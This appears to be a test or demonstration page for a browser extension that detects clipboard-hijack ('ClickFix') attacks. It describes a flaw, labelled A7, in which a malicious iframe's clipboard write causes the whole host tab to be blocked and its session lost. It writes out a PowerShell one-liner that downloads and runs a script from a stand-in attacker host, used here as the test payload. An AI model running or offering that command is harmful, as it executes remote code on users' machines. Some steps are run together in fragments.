This page embeds an about:blank iframe acting as
a third-party widget. The iframe's script triggers a regex-matching clipboard
write. Because the iframe also gets the extension's content scripts
(match_about_blank: true), detection fires inside
the iframe — but the resulting threat-detected
message reports the host tab to the background worker, and the whole tab is
navigated to blocked.html. The iframe's action
destroys the host page's session. That's A7.
A news article, a SaaS dashboard, an email draft. You have unsaved form data, a scroll position three thousand pixels down, a session you'd rather not lose.
Below is a third-party widget. Imagine an ad slot, an embedded comment widget, a social share button, anything you don't fully control. The widget itself is the only thing being “malicious” here — the host page is doing nothing wrong.
The iframe inherits this page's origin via
sandbox="allow-scripts allow-same-origin", which
is what makes the injected script's execCommand('copy')
work without needing to serve a second document. The behaviour and the
background-worker code path are identical for a real cross-origin iframe.
powershell -nop -c "iex(iwr https://evil.example/x.ps1)"
and calls execCommand('copy').preventDefault(), and dispatches
onanalyse.clickfix-content-script.js sends a
threat-detected message to the background
worker. The MessageSender's tab is the host tab.chrome.tabs.update(sender.tab.id, 'blocked.html')
— the host tab navigates away.